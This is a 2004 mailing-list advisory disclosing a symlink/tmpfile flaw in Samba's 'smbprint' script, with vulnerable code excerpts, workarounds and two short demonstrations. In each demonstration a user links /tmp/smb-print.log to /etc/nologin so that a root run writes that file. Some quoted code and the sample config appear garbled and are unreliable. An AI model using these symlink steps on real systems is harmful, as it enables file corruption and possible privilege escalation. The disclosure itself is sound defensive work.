Samba 'smbprint' script tmpfile vulnerability.

From: Shaun Colley (
Date: 03/19/04

  • Next message: nesumin: "Re[2]: ws_ftp overflow (WS_FTP Pro 8.0.3 is vulnerable)"
    Date: Fri, 19 Mar 2004 18:46:02 +0000 (GMT)


    Product: Samba 'smbprint' script.

    Versions: All versions, but manifesting in
                  different ways.
    Bug: Symlink bug / tmpfile bug.
    Impact: Attacker's can write to arbitrary files,
                  and in theory, elevate privileges
    Risk: LOW
    Date: March 19, 2004
    Author: Shaun Colley



    Included with the immensely popular Samba Package,
    there is a small script called 'smbprint', which is
    quite widely used (from what discussions I read on the
    mailing list) to print documents over shares. There
    are many versions of the script floating about - older
    versions of the script are more vulnerable than the
    smbprint script included with the latest release of
    Samba (3.0.2a).

    I have located a bug in older versions of the smbprint
    script, and also a less likely one in the new version
    (packaged with 3.0.2a and maybe earlier). These
    vulnerabilities can allow an attacker to overwrite
    sensitive system files, and in theory (though very
    unlikely) elevate privilges. These bugs are due to
    insecure tmpfile creation.

    ***NOTE: Although I refer to the less new smbprint
    script as "older script", it is included in Mandrake
    9.0, so it's not entirely "old" by any means. By "new
    script", I mean the one posted by Alfred Perlstein,
    which is packaged in the latest Samba packages.***


    1) Older versions of smbprint - tmpfile vulnerability.

    In older versions of smbprint (there are many versions
    floating around), tmpfiles, used for debugging, are
    created in an insecure manner.  For the purpose of
    debugging, useful debugging information (output from
    commands, server used, etc) is written to a hard-coded
    logfile, /tmp/smb-print.log.  The bug manifests in the
    following code:
    --- /usr/bin/smbprint ---
    # VULNERABLE CODE!  No file checks
    # on /tmp/smb-print.log for possible
    # malicious symlink.
    echo "server $server, service $service" >> $logfile
    # Another insecure file write.
    /usr/bin/smbclient "//$server/$service" $password -U
    $server -N -P >> $logfile
    --- EOF
    No file checks are performed before writing to
    /tmp/smb-print.log, so symlinks *are* followed.  If
    root is running the smbprint script, arbitrary files
    may be corrupted/appended, such as system files, i.e
    /etc/nologin.  It is often the root user who invokes
    the script, so an attacker can potentially corrupt any
    file she wishes.
    2) Newest version of smbprint - tmpfile vulnerability
    In the newer versions of smbprint (which I believe was
    put together in part by Alfred Perlstein), a similar
    tmpfile vulnerability exists, however, it is
    exploitable in fewer cases.
    smbprint uses a printer config file,
    /usr/var/spool/lpd/<PRINTNAME>/.config, to correctly
    carry out a print job.  If, however, a user has
    specified to use debugging (in the .config file), a
    tmpfile (again, due to creation of a debugging log)
    vulnerability exists.  Here is a sample config file on
    a system which is vulnerable:
    --- .config ---
    --- EOF ---
    As can be seen, debugging is enabled to setting the
    debug option.
    In the smbprint script, the vulnerability manifests in
    the following offending code:
    if [ "x$debug" = "x" ] ; then
                    debugfile=/dev/null debugargs=
            if [ $debug -eq 0 ] ; then
                    debugfile=/dev/null debugargs=
                    # VULNERABLE CODE!  No file checks
                    # on /tmp/smb-print.log for possible
                    # malicious symlink.
                    set -x; exec >>$debugfile 2>&1
                    #[ "x$debugsmb" == "x" ] ||
    debugargs="$debugargs -d $debugsmb"
    The above code parses the host system's .config file
    for the "debug" option.  If it is enabled, any program
    output is redirected to '/tmp/smb-print.log', via the
    BASH 'exec' command.  However, no file checks are
    performed, so again, symlinks *are* followed.  If an
    attacker were to create a symlink called smb-print.log
    in /tmp to a sensitive system file, assuming the debug
    option was set in the .config file, the system file
    would be written to if a superuser invoked smbprint.
    1) Older versions of smbprint - tmpfile vulnerability.
    Below is a sample attack scenario I carried out on my
    test system.
    --- attack ---
    k1d$ ls -al /etc/nologin
    ls: /etc/nologin: No such file or directory
    k1d$ ln -s /etc/nologin /tmp/smb-print.log
    root# /usr/bin/smbprint [...]
    k1d$ ls -al /etc/nologin
    -rw-r--r--    1 root     root            0 Mar 19
    18:11 /etc/nologin
    Exploitation, as evident above, is relatively simple. 
    Since no checks on /tmp/smb-print.log are performed
    for existance of a possible symlink, all that an
    attacker needs to do is create a symlink named
    /tmp/smb-print.log to a desired arbitrary file
    writable by the invoker of smbprint, and simply wait
    for smbprint to be invoked.
    2) Newest version of smbprint - tmpfile vulnerability
    Assuming the conditions are met specified in the
    technical details section (i.e debugging is specified
    in the .config file, etc), exploitation of the
    insecure tmpfile creation is possible.  Below is an
    example attack scenario, in which an attacker was able
    to cause a sensitive system file to be created.
    --- attack ---
    k1d$ cat /usr/var/spool/lpd/default/.config
    # machine seems to be vulnerable.
    k1d$ ln -s /etc/nologin /tmp/smb-print.tmp
    root# /usr/bin/smbprint [...]
    k1d$ ls -al /etc/nologin
    -rw-r--r--    1 root     root            0 Mar 19
    18:11 /etc/nologin
    As a tmpfile is only written when debugging is enabled
    (the logfile is written with useful debug
    information), the attacker in the above attack
    condition checked for the existance of the "debug="
    line in the 'smbprint' configuration file (.config). 
    The attack suceeded, due to the ease of exploitation.
    I've tried to provide workarounds.  Maybe bug 2) will
    be fixed in the next stable release of Samba.
    1) Older versions of smbprint - tmpfile vulnerability.
    The tmpfile vulnerability can be prevented by
    performing a check for the existance of /tmp/smb-print
    before any file writes are done.
    The following line can be added before any writes to
    if [ -h $logfile ] then  # could be -e instead.
    This will check for a /tmp/smb-print.log being already
    a symbolic link.  More care could be taken, such as
    checking just for any existance of /tmp/smb-print.log.
     The logfile will be /dev/null, if /tmp/smb-print.log
    is a symbolic link, thus preventing the issue.
    A better solution would be to upgrade to the latest
    version of Samba.
    2) Newest version of smbprint - tmpfile vulnerability
    Simple workaround is just to disable debugging in the
    smbprint config file.  Remove any line beginning with
    "debug=" in your system's
    /usr/var/spool/lpd/<PRINTER_NAME>/.config file.  This
    should eliminate the symlink/tmpfile vulnerability.
    Vulnerabilities discovered and researched by Shaun
    Colley / shaun2k2 - <>.
    Thank you for your time.
    Yahoo! Messenger - Communicate instantly..."Ping" 
    your friends today! Download Messenger Now

  • Next message: nesumin: "Re[2]: ws_ftp overflow (WS_FTP Pro 8.0.3 is vulnerable)"